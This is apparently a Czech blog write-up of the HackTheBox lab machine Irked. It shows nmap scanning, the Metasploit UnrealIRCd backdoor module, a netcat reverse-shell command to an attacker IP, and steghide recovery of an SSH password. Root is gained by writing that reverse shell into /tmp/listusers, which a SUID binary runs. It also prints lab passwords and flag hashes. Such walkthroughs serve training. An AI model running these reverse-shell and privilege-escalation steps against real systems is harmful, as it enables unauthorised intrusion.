tom@home.htb:~$

Blog o HTB

6 December 2020

Irked

Úvod a kontext

Irked je krátký, ale výukově čistý Linux řetězec: veřejně známý backdoor v UnrealIRCd, potom steganografie jako mezikrok k SSH a nakonec lokální eskalace přes binárku, která důvěřuje souboru v /tmp.

Na tom stroji je důležité nepřeskočit druhou fázi. První shell z IRC backdooru je jen nestabilní vstup. Teprve lokální artefakty ukážou heslo ke stegu, z obrázku vypadne SSH heslo pro djmardov a až stabilní SSH session dává smysl pro finální root.

Počáteční průzkum

Otevřené služby a UnrealIRCd

nmap na Irked prakticky ukáže první exploit přímo. Kromě Apache a SSH běží hned několik instancí UnrealIRCd, což je u starší verze velmi silná indicie k prověření známého backdooru.

ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
nmap -p $ports -n -v -A -sC -sV -Pn --script *enum*,*vuln* $IP
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4
80/tcp    open  http    Apache httpd 2.4.10 (Debian)
6697/tcp  open  irc     UnrealIRCd (Admin email djmardov@irked.htb)
8067/tcp  open  irc     UnrealIRCd (Admin email djmardov@irked.htb)
65534/tcp open  irc     UnrealIRCd (Admin email djmardov@irked.htb)

Analýza zjištění

Backdoor v UnrealIRCd

V tomhle případě není potřeba složitá enumerace webu. Metasploit modul pro backdoored UnrealIRCd 3.2.8.1 vede rovnou k prvnímu shellu.

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor)
netcat 10.10.14.13 4000 -e /bin/sh

.backup a stego heslo

První shell je zajímavý hlavně tím, co leží v /home. Soubor .backup obsahuje text Super elite steg backup pw a heslo UPupDOWNdownLRlrBAbaSSss. To je silná nápověda, že někde v dostupných souborech bude schovaný steganografický obsah.

Na webu je obrázek irked.jpg, takže další krok je logický: stáhnout ho a použít steghide. Výsledkem je řetězec Kab6h+m+bbp2J:HG, který funguje jako SSH heslo pro djmardov.

cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

wget http://10.10.10.117/irked.jpg
steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg
=> Kab6h+m+bbp2J:HG

Získání přístupu

SSH jako djmardov

Jakmile se objeví SSH heslo, je rozumné zahodit IRC shell a přejít na stabilní přístup přes OpenSSH. Teprve ten dává smysl pro systematickou lokální enumeraci.

ssh djmardov@$IP
cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e

Eskalace oprávnění

viewuser a důvěra v /tmp/listusers

Finální root je velmi přímočarý. Mezi SUID binárkami je /usr/bin/viewuser, která pracuje se souborem /tmp/listusers. To je návrhová chyba sama o sobě: root binárka nikdy nesmí důvěřovat cestě v globálně zapisovatelném /tmp.

Stačí tedy připravit vlastní /tmp/listusers, udělat ho spustitelný a viewuser spustit znovu. Protože binárka běží s vyššími právy, vykoná útočníkův skript a otevře root shell.

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null
=> /usr/bin/viewuser
=> /tmp/listusers

echo "netcat 10.10.14.13 4000 -e /bin/sh" > /tmp/listusers
chmod +x /tmp/listusers
/usr/bin/viewuser

cat root.txt
8d8e9e8be64654b6dccc3bff4522daf3

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: ssh - exploit - enumeration - privesc - hackthebox